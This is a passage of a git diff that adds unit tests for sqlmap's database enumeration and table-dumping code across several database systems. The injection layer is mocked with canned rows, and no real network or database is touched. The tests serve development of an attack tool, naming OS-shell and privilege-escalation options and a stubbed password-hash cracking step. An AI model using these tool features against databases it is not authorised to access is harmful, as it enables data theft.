search methods don't emit/prompt.""" - - def __getattr__(self, name): - return lambda *a, **k: None - - -def _handler(display_name, dirname): - """Instantiate the full *Map handler for the given DBMS.""" - set_dbms(display_name) - main = importlib.import_module("plugins.dbms.%s" % dirname) - cls = [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] - return cls() - - -class _EnumBase(unittest.TestCase): - """Snapshot/restore every global these enumerators mutate.""" - - # subclasses set these - display_name = None - dirname = None - - def setUp(self): - # config snapshot - self._direct = conf.direct - self._batch = conf.batch - self._db = conf.db - self._tbl = conf.tbl - self._col = conf.col - self._user = conf.user - self._exclude = conf.exclude - self._search = conf.search - self._getBanner = conf.getBanner - self._excludeSysDbs = conf.excludeSysDbs - self._dumper = conf.get("dumper") - - # kb snapshot - self._cached = {k: kb.data.get(k) for k in ( - "cachedDbs", "cachedTables", "cachedColumns", "cachedUsers", - "cachedUsersPrivileges", "cachedCounts", "cachedStatements", "banner", - )} - self._hintValue = kb.hintValue - self._injectionData = kb.injection.data - self._currentDb = kb.data.get("currentDb") - self._hasIS = kb.data.get("has_information_schema") - - # injection layer snapshot - self._gv = inject.getValue - self._cbe = getattr(inject, "checkBooleanExpression", None) - - # baseline config the in-band/non-interactive paths need - conf.direct = True - conf.batch = True - kb.data.has_information_schema = True - _fresh_cached() - - # restore the chosen DBMS for every test - self.handler = _handler(self.display_name, self.dirname) - # the enumeration module whose pivotDumpTable some tests stub - self.em = importlib.import_module("plugins.dbms.%s.enumeration" % self.dirname) - - def tearDown(self): - conf.direct = self._direct - conf.batch = self._batch - conf.db = self._db - conf.tbl = self._tbl - conf.col = self._col - conf.user = self._user - conf.exclude = self._exclude - conf.search = self._search - conf.getBanner = self._getBanner - conf.excludeSysDbs = self._excludeSysDbs - conf.dumper = self._dumper - - for k, v in self._cached.items(): - kb.data[k] = v - kb.hintValue = self._hintValue - kb.injection.data = self._injectionData - kb.data.currentDb = self._currentDb - kb.data.has_information_schema = self._hasIS - - inject.getValue = self._gv - if self._cbe is not None: - inject.checkBooleanExpression = self._cbe - if hasattr(self.em, "pivotDumpTable"): - # restore the pristine reference from the wrapper module - import lib.utils.pivotdumptable as _pdt - self.em.pivotDumpTable = _pdt.pivotDumpTable - - -# --------------------------------------------------------------------------- -# Sybase -# --------------------------------------------------------------------------- - -class TestSybaseEnum(_EnumBase): - display_name = "Sybase" - dirname = "sybase" - - def _pivot(self, *value_lists): - """Make em.pivotDumpTable return canned (entries, lengths) per call. - - Each successive call pops the next mapping of {colName: [values]}. - """ - calls = list(value_lists) - - def fake(table, colList, count=None, blind=True, alias=None): - mapping = calls.pop(0) if calls else {} - entries = {} - lengths = {} - for col in colList: - vals = mapping.get(col.split(".")[-1], []) - entries[col] = list(vals) - lengths[col] = 0 - return entries, lengths - - self.em.pivotDumpTable = fake - - def test_get_users(self): - self._pivot({"name": ["sa", "guest"]}) - users = self.handler.getUsers() - self.assertIn("sa", users) - self.assertIn("guest", users) - - def test_get_dbs(self): - self._pivot({"name": ["master", "model"]}) - dbs = self.handler.getDbs() - self.assertEqual(sorted(dbs), ["master", "model"]) - - def test_get_tables(self): - conf.db = "testdb" - self._pivot({"name": ["users", "logs"]}) - tables = self.handler.getTables() - self.assertIn("testdb", tables) - self.assertEqual(sorted(tables["testdb"]), ["logs", "users"]) - - def test_get_columns(self): - conf.db = "testdb" - conf.tbl = "users" - # column pivot returns name + usertype: REAL Sybase numeric type ids that - # getColumns resolves through SYBASE_TYPES (7 -> "int", 2 -> "varchar"). - from lib.core.dicts import SYBASE_TYPES - self._pivot({"name": ["id", "name"], "usertype": ["7", "2"]}) - cols = self.handler.getColumns() - self.assertIn("testdb", cols) - # table key is identifier-normalized (may be schema-qualified) - tbls = cols["testdb"] - self.assertTrue(any("users" in t for t in tbls)) - colset = list(tbls.values())[0] - # the VALUE is the resolved type name, not the raw usertype number: - # proves the SYBASE_TYPES numeric->name mapping actually ran. - self.assertEqual(colset["id"], SYBASE_TYPES[7]) # "int" - self.assertEqual(colset["name"], SYBASE_TYPES[2]) # "varchar" - - def test_get_privileges(self): - # getPrivileges -> getUsers (pivot) then isDba (checkBooleanExpression). - # Drive the admin-set branch BOTH ways via the isDba oracle so the result - # is not forced by a constant-True stub. - conf.user = None - - # oracle True: every user is flagged DBA -> admins == all users - self._pivot({"name": ["sa", "guest"]}) - inject.checkBooleanExpression = lambda *a, **k: True - privs, admins = self.handler.getPrivileges() - self.assertIn("sa", privs) # users still enumerated as privilege keys - self.assertIn("guest", privs) - self.assertEqual(admins, set(["sa", "guest"])) - - # oracle False: nobody is a DBA -> admins is empty, but users still listed - _fresh_cached() - self._pivot({"name": ["sa", "guest"]}) - inject.checkBooleanExpression = lambda *a, **k: False - privs, admins = self.handler.getPrivileges() - self.assertIn("sa", privs) - self.assertEqual(admins, set()) - - def test_search_not_implemented(self): - # these intentionally return [] with a warning on Sybase - self.assertEqual(self.handler.searchDb(), []) - self.assertEqual(self.handler.searchTable(), []) - self.assertEqual(self.handler.searchColumn(), []) - - def test_get_hostname(self): - # not possible on Sybase; just must not raise - self.assertIsNone(self.handler.getHostname()) - - def test_get_statements(self): - self.assertEqual(self.handler.getStatements(), []) - - -# --------------------------------------------------------------------------- -# SAP MaxDB -# --------------------------------------------------------------------------- - -class TestMaxDBEnum(_EnumBase): - display_name = "SAP MaxDB" - dirname = "maxdb" - - def _pivot(self, *value_lists): - calls = list(value_lists) - - def fake(table, colList, count=None, blind=True, alias=None): - mapping = calls.pop(0) if calls else {} - entries = {} - lengths = {} - for col in colList: - vals = mapping.get(col.split(".")[-1], []) - entries[col] = list(vals) - lengths[col] = 0 - return entries, lengths - - self.em.pivotDumpTable = fake - - def test_get_dbs(self): - self._pivot({"schemaname": ["SYSTEM", "DOMAIN"]}) - dbs = self.handler.getDbs() - self.assertEqual(sorted(dbs), ["DOMAIN", "SYSTEM"]) - - def test_get_tables(self): - conf.db = "SYSTEM" - self._pivot({"tablename": ["USERS", "TABLES"]}) - tables = self.handler.getTables() - # db key is identifier-normalized (uppercase names get quoted) - self.assertEqual(len(tables), 1) - tbls = list(tables.values())[0] - self.assertEqual(sorted(tbls), ["TABLES", "USERS"]) - - def test_get_columns(self): - conf.db = "SYSTEM" - conf.tbl = "USERS" - self._pivot({ - "columnname": ["ID", "NAME"], - "datatype": ["INTEGER", "CHAR"], - "len": ["4", "32"], - }) - cols = self.handler.getColumns() - self.assertEqual(len(cols), 1) - tbls = list(cols.values())[0] - self.assertIn("USERS", tbls) - self.assertEqual(tbls["USERS"]["ID"], "INTEGER(4)") - - def test_get_privileges_empty(self): - self.assertEqual(self.handler.getPrivileges(), {}) - - def test_get_password_hashes_empty(self): - self.assertEqual(self.handler.getPasswordHashes(), {}) - - def test_get_hostname(self): - self.assertIsNone(self.handler.getHostname()) - - def test_get_statements(self): - self.assertEqual(self.handler.getStatements(), []) - - -# --------------------------------------------------------------------------- -# Microsoft SQL Server (methods NOT covered by test_dbms_enum.py) -# --------------------------------------------------------------------------- - -class TestMSSQLServerExtraEnum(_EnumBase): - display_name = "Microsoft SQL Server" - dirname = "mssqlserver" - - def test_get_privileges(self): - # getPrivileges -> getUsers (generic, inject.getValue) then isDba. - # Exercise the admin-set branch BOTH ways via the isDba oracle. - conf.user = None - inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] - - # oracle True: all users flagged DBA - inject.checkBooleanExpression = lambda *a, **k: True - privs, admins = self.handler.getPrivileges() - self.assertIn("sa", privs) - self.assertEqual(admins, set(["sa", "BUILTIN\\Administrators"])) - - # oracle False: none are DBA -> empty admin set, users still enumerated - _fresh_cached() - inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] - inject.checkBooleanExpression = lambda *a, **k: False - privs, admins = self.handler.getPrivileges() - self.assertIn("sa", privs) - self.assertEqual(admins, set()) - - def test_search_table(self): - conf.db = "testdb" - conf.tbl = "users" - # in-band branch: getValue returns matching table name(s) - inject.getValue = lambda q, *a, **k: ["users"] - # capture the discovered tables instead of dumping them - captured = {} - conf.dumper = _NoOpDumper() - self.handler.dumpFoundTables = lambda tables: captured.update(tables) - self.handler.searchTable() - # at least one database mapped to the matched table - flat = set() - for tbls in captured.values(): - flat.update(tbls) - self.assertTrue(any("users" in t for t in flat)) - - def test_search_column(self): - conf.db = "testdb" - conf.tbl = None - conf.col = "password" - # exact match (no wildcard) so no recursive getColumns call; - # getValue returns the tables that contain the column - inject.getValue = lambda q, *a, **k: ["users"] - captured = {} - conf.dumper = _NoOpDumper() - self.handler.dumpFoundColumn = lambda dbs, foundCols, colConsider: captured.update(dbs) - self.handler.searchColumn() - # the searched column was located in at least one table - flat = set() - for tbls in captured.values(): - flat.update(tbls) - self.assertTrue(any("users" in t for t in flat)) - - -# --------------------------------------------------------------------------- -# IBM DB2 -# --------------------------------------------------------------------------- - -class TestDB2Enum(_EnumBase): - display_name = "IBM DB2" - dirname = "db2" - - def test_get_password_hashes_empty(self): - self.assertEqual(self.handler.getPasswordHashes(), {}) - - def test_get_statements_empty(self): - self.assertEqual(self.handler.getStatements(), []) - - -# --------------------------------------------------------------------------- -# Informix -# --------------------------------------------------------------------------- - -class TestInformixEnum(_EnumBase): - display_name = "Informix" - dirname = "informix" - - def test_search_db(self): - self.assertEqual(self.handler.searchDb(), []) - - def test_search_table(self): - self.assertEqual(self.handler.searchTable(), []) - - def test_search_column(self): - self.assertEqual(self.handler.searchColumn(), []) - - def test_get_statements(self): - self.assertEqual(self.handler.getStatements(), []) - - -# --------------------------------------------------------------------------- -# Firebird -# --------------------------------------------------------------------------- - -class TestFirebirdEnum(_EnumBase): - display_name = "Firebird" - dirname = "firebird" - - def test_get_dbs_empty(self): - self.assertEqual(self.handler.getDbs(), []) - - def test_get_password_hashes_empty(self): - self.assertEqual(self.handler.getPasswordHashes(), {}) - - def test_search_db_empty(self): - self.assertEqual(self.handler.searchDb(), []) - - def test_get_hostname(self): - self.assertIsNone(self.handler.getHostname()) - - def test_get_statements_empty(self): - self.assertEqual(self.handler.getStatements(), []) - - -# --------------------------------------------------------------------------- -# HSQLDB -# --------------------------------------------------------------------------- - -class TestHSQLDBEnum(_EnumBase): - display_name = "HSQLDB" - dirname = "hsqldb" - - def test_get_banner(self): - conf.getBanner = True - kb.data.banner = None - # getValue returns a single-element LIST; getBanner pipes it through - # unArrayizeValue, which must unwrap it to the scalar banner string. - inject.getValue = lambda q, *a, **k: ["HSQLDB 2.5.1"] - banner = self.handler.getBanner() - self.assertEqual(banner, "HSQLDB 2.5.1") - - def test_get_privileges_empty(self): - self.assertEqual(self.handler.getPrivileges(), {}) - - def test_get_hostname(self): - self.assertIsNone(self.handler.getHostname()) - - def test_get_statements_empty(self): - self.assertEqual(self.handler.getStatements(), []) - - def test_get_current_db_default_schema(self): - from lib.core.settings import HSQLDB_DEFAULT_SCHEMA - self.assertEqual(self.handler.getCurrentDb(), HSQLDB_DEFAULT_SCHEMA) - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_deps.py b/tests/test_deps.py index 0f09e5cdd27..91cabb5d6b3 100644 --- a/tests/test_deps.py +++ b/tests/test_deps.py @@ -56,7 +56,7 @@ def test_missing_driver_warns_with_library_name(self): # 'kinterbasdb' (Firebird driver) is essentially never installed, so the # probe must hit the except branch and emit a warning naming the library. try: - import kinterbasdb # noqa: F401 + __import__("kinterbasdb") self.skipTest("kinterbasdb is unexpectedly installed") except ImportError: pass diff --git a/tests/test_entries.py b/tests/test_entries.py new file mode 100644 index 00000000000..d54a92bbcd2 --- /dev/null +++ b/tests/test_entries.py @@ -0,0 +1,802 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for plugins/generic/entries.py (Entries), exercising dumpTable / +dumpAll / dumpFoundTables / dumpFoundColumn by MOCKING the injection layer +(lib.request.inject.getValue) and the dumper. + +No network and no DBMS are involved: conf.direct=True selects the simple inband +branches, or conf.direct=False with a BOOLEAN injection state selects the +inference (blind) branches; inject.getValue is patched to return canned rows in +the exact shape the methods parse, and conf.dumper is replaced with a recording +stub so we can assert on what each method produced (kb.data caches / returned +dicts). Every test restores all touched conf.* / kb.* / patched module attributes +in tearDown so nothing leaks. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms + +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD + +import plugins.generic.search as smod +import plugins.generic.entries as emod +import plugins.generic.custom as cmod +import plugins.generic.misc as mmod +from plugins.generic.entries import Entries + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_search_enum.py (inband TestEntries) +# --------------------------------------------------------------------------- # + +class _RecordingDumperSE(object): + """Minimal stand-in for conf.dumper that records calls instead of printing/writing.""" + + def __init__(self): + self.reset() + + def reset(self): + self.listed = [] # (header, elements) + self.dbTablesArg = None + self.dbColumnsArg = None + self.dbTableColumnsArg = None + self.tableValues = [] + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + def dbTableColumns(self, tableColumns, content_type=None): + self.dbTableColumnsArg = tableColumns + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntriesSE(Entries): + """Entries with cross-mixin collaborators stubbed (forceDbmsEnum/getCurrentDb/getColumns/getTables).""" + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # {db: {tbl: {col: type}}} + self.getTablesResult = {} # value assigned to kb.data.cachedTables + self.getColumnsCalls = [] + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _SearchEnumBase(unittest.TestCase): + def setUp(self): + # Save mutated globals + self._saved_conf = {k: conf.get(k) for k in ( + "db", "tbl", "col", "direct", "excludeSysDbs", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", + )} + self._saved_dumper = conf.get("dumper") + self._search_getValue = smod.inject.getValue + self._entries_getValue = emod.inject.getValue + self._search_readInput = smod.readInput + self._entries_readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + + set_dbms("MySQL") + conf.direct = True + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumper = _RecordingDumperSE() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + # Non-interactive prompts: collapse readInput to its default. + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return True if (default in (None, 'Y', 'y', True)) else False + return default + smod.readInput = _readInput + emod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._search_getValue + emod.inject.getValue = self._entries_getValue + smod.readInput = self._search_readInput + emod.readInput = self._entries_readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + + +class TestEntries(_SearchEnumBase): + def _entries_with_cols(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesSE() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + # --- dumpTable: inband (conf.direct) ------------------------------------ + + def test_dump_table_inband_rows(self): + e = self._entries_with_cols(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + # MySQL inband dump returns a list of [colVal, colVal] rows. + emod.inject.getValue = lambda *a, **k: [["1", "alice"], ["2", "bob"]] + + e.dumpTable() + + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(dumped["__infos__"]["table"], "users") + self.assertEqual(dumped["__infos__"]["db"], "testdb") + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_uses_foundData(self): + e = _TestEntriesSE() + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["x"]] + foundData = {"testdb": {"users": {"id": "int"}}} + + e.dumpTable(foundData=foundData) + + # foundData short-circuits column discovery: getColumns must not run. + self.assertEqual(e.getColumnsCalls, []) + self.assertIn("id", conf.dumper.tableValues[-1]) + + def test_dump_table_no_columns_skips(self): + e = _TestEntriesSE() + e.getColumnsResult = {} # discovery yields nothing + conf.db = "testdb" + conf.tbl = "ghost" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # No columns => no values dumped. + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_empty_entries(self): + e = self._entries_with_cols(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: None # no rows + + e.dumpTable() + # Nothing retrieved => dumpedTable empty => dbTableValues not called. + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_current_db(self): + e = self._entries_with_cols(db="testdb", tbl="users", cols=("id",)) + conf.db = None # triggers getCurrentDb() -> "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["7"]] + + e.dumpTable() + self.assertEqual(conf.db, "testdb") + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["7"]) + + def test_dump_table_multiple_db_error(self): + e = _TestEntriesSE() + conf.db = "a,b" + conf.tbl = "users" + conf.col = None + from lib.core.exception import SqlmapMissingMandatoryOptionException + self.assertRaises(SqlmapMissingMandatoryOptionException, e.dumpTable) + + def test_dump_table_get_tables_when_no_tbl(self): + e = _TestEntriesSE() + e.getTablesResult = {"testdb": ["users"]} + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = None + conf.col = None + emod.inject.getValue = lambda *a, **k: [["42"]] + + e.dumpTable() + # Tables were discovered via getTables, then the row dumped. + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["42"]) + + # --- dumpAll: single-db delegation -------------------------------------- + + def test_dump_all_single_db_delegates(self): + e = self._entries_with_cols(db="testdb", tbl="users", cols=("id",)) + # dumpAll with db set & tbl None must delegate straight to dumpTable. + conf.db = "testdb" + conf.tbl = None + conf.col = None + e.getTablesResult = {"testdb": ["users"]} + emod.inject.getValue = lambda *a, **k: [["9"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_generic_more.py (inband dump branches) +# --------------------------------------------------------------------------- # + +class _RecordingDumperGM(object): + """Recording stand-in for conf.dumper (no printing / file writing).""" + + def __init__(self): + self.tableValues = [] + self.sqlQueries = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + def sqlQuery(self, query, queryRes): + self.sqlQueries.append((query, queryRes)) + + +class _TestEntriesGM(Entries): + """Entries with cross-mixin collaborators stubbed. + + forceDbmsEnum / getCurrentDb / getColumns / getTables are normally supplied by + sibling mixins; we emulate column/table discovery by populating kb.data.cached* + from canned attributes, exactly as the production plugins do. + """ + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # assigned to kb.data.cachedColumns + self.getTablesResult = {} # assigned to kb.data.cachedTables + self.getColumnsCalls = [] + self.getTablesCalls = 0 + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + self.getTablesCalls += 1 + kb.data.cachedTables = dict(self.getTablesResult) + + +class _GenericBase(unittest.TestCase): + """Snapshot/restore for everything the generic mixins touch.""" + + _CONF_KEYS = ( + "db", "tbl", "col", "direct", "batch", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere", + "tmpPath", "sqlQuery", "sqlFile", "regKey", "regVal", "regData", + "regType", "osPwn", "osShell", "cleanup", "privEsc", + ) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + + self._saved_getValue = { + emod: emod.inject.getValue, + cmod: cmod.inject.getValue, + mmod: mmod.inject.getValue, + } + self._saved_goStacked = { + cmod: cmod.inject.goStacked, + mmod: mmod.inject.goStacked, + } + self._saved_emod_readInput = emod.readInput + self._saved_mmod_readInput = mmod.readInput + + self._saved_kb = { + "cachedColumns": kb.data.get("cachedColumns"), + "cachedTables": kb.data.get("cachedTables"), + "dumpedTable": kb.data.get("dumpedTable"), + "has_information_schema": kb.data.get("has_information_schema"), + "dumpKeyboardInterrupt": kb.get("dumpKeyboardInterrupt"), + "permissionFlag": kb.get("permissionFlag"), + "hintValue": kb.get("hintValue"), + "injection_data": kb.injection.data, + "bannerFp": kb.get("bannerFp"), + "os": kb.get("os"), + } + self._saved_forceDbms = kb.get("forcedDbms") + + conf.direct = True + conf.batch = True + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumperGM() + + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.data.has_information_schema = True + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return default in (None, 'Y', 'y', True) + return default + + emod.readInput = _readInput + mmod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + + for mod, fn in self._saved_getValue.items(): + mod.inject.getValue = fn + for mod, fn in self._saved_goStacked.items(): + mod.inject.goStacked = fn + emod.readInput = self._saved_emod_readInput + mmod.readInput = self._saved_mmod_readInput + + kb.data.cachedColumns = self._saved_kb["cachedColumns"] + kb.data.cachedTables = self._saved_kb["cachedTables"] + kb.data.dumpedTable = self._saved_kb["dumpedTable"] + kb.data.has_information_schema = self._saved_kb["has_information_schema"] + kb.dumpKeyboardInterrupt = self._saved_kb["dumpKeyboardInterrupt"] + kb.permissionFlag = self._saved_kb["permissionFlag"] + kb.hintValue = self._saved_kb["hintValue"] + kb.injection.data = self._saved_kb["injection_data"] + kb.bannerFp = self._saved_kb["bannerFp"] + kb.os = self._saved_kb["os"] + kb.forcedDbms = self._saved_forceDbms + + @staticmethod + def _force_os(os_name): + # Backend.setOs only assigns when kb.os is currently None; reset first so + # tests can deterministically pin the back-end OS. + kb.os = None + Backend.setOs(os_name) + + +class TestEntriesDumpTable(_GenericBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesGM() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_exclude_filters_columns(self): + set_dbms("MySQL") + e = self._entries(cols=("id", "secret")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertIn("id", dumped) + self.assertNotIn("secret", dumped) + + def test_exclude_all_columns_skips(self): + set_dbms("MySQL") + e = self._entries(cols=("secret",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # all columns excluded => "no usable column names" => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dumpwhere_rewrites_query(self): + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.dumpWhere = "id>5" + captured = {} + + def gv(query, *a, **k): + captured["query"] = query + return [["9"]] + + emod.inject.getValue = gv + e.dumpTable() + # agent.whereQuery folds conf.dumpWhere into the dump query + self.assertIn("id>5", captured["query"]) + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["9"]) + + def test_disablehashing_false_path(self): + # conf.disableHashing False => attackDumpedTable() is invoked; with no + # hashes present it must complete without raising and still emit values. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.disableHashing = False + emod.inject.getValue = lambda *a, **k: [["1", "alice"]] + + # Spy on attackDumpedTable: with disableHashing False it MUST be invoked + # after the values are dumped. A recorder replaces it so we can assert the + # call happened (and no real dictionary attack runs). + saved_attack = emod.attackDumpedTable + calls = {"n": 0} + emod.attackDumpedTable = lambda *a, **k: calls.__setitem__("n", calls["n"] + 1) + try: + e.dumpTable() + finally: + emod.attackDumpedTable = saved_attack + + self.assertEqual(calls["n"], 1) + self.assertEqual(conf.dumper.tableValues[-1]["__infos__"]["count"], 1) + + def test_missing_columns_skips_table(self): + # getColumns yields nothing for the targeted table => skip without fetching. + set_dbms("MySQL") + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"other": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + def test_multiple_tables_one_dumped(self): + set_dbms("MySQL") + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}, "posts": {"pid": "int"}}} + conf.db = "testdb" + conf.tbl = "users,posts" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + # both tables share the same cachedColumns dict => both dumped + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertIn("posts", tables) + + def test_metadb_suffix_db(self): + # A db whose name carries the METADB_SUFFIX must not get a "db" prefix in + # kb.dumpTable, and dumping still succeeds. + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + metadb = "x%s" % METADB_SUFFIX + e = self._entries(db=metadb, tbl="t", cols=("c",)) + conf.db = metadb + conf.tbl = "t" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["v"]] + + e.dumpTable() + self.assertEqual(list(conf.dumper.tableValues[-1]["c"]["values"]), ["v"]) + + +class TestEntriesDumpAll(_GenericBase): + def test_dumpall_multiple_dbs_tables(self): + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + e.getTablesResult = {"db1": ["t1"], "db2": ["t2"]} + # dumpTable re-discovers columns per (db, tbl); supply both. + e.getColumnsResult = { + "db1": {"t1": {"a": "int"}}, + "db2": {"t2": {"b": "int"}}, + } + emod.inject.getValue = lambda *a, **k: [["x"]] + + e.dumpAll() + # Every table contributed a values batch. + self.assertEqual(len(conf.dumper.tableValues), 2) + + def test_dumpall_list_cached_tables(self): + # cachedTables as a bare list => wrapped under {None: [...]}. + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + + # getTables sets cachedTables; emulate the list shape directly. + class _ListTables(_TestEntriesGM): + def getTables(self_inner, bruteForce=None): + kb.data.cachedTables = ["users"] + + e = _ListTables() + # dumpAll wraps a bare list as {None: [...]}; dumpTable then resolves the + # None db via getCurrentDb() -> "testdb", so columns live under "testdb". + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + # The bare-list None db must be resolved via getCurrentDb() -> "testdb" + # before the dump; assert the dumped __infos__ carries the real db (not + # None) for the requested "users" table. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dumpall_exclude_skips_table(self): + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + conf.exclude = "secret" + e.getTablesResult = {"db1": ["secret", "users"]} + e.getColumnsResult = {"db1": {"users": {"id": "int"}, "secret": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertNotIn("secret", tables) + + +class TestEntriesDumpFound(_GenericBase): + def _entries(self): + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + return e + + def test_dump_found_tables_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + # batch readInput -> 'Y' (boolean True) and 'a'/'a' for db/table choices. + e.dumpFoundTables({"testdb": ["users"]}) + self.assertTrue(conf.dumper.tableValues) + # The interactive selection must dump the REQUESTED db/table, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + 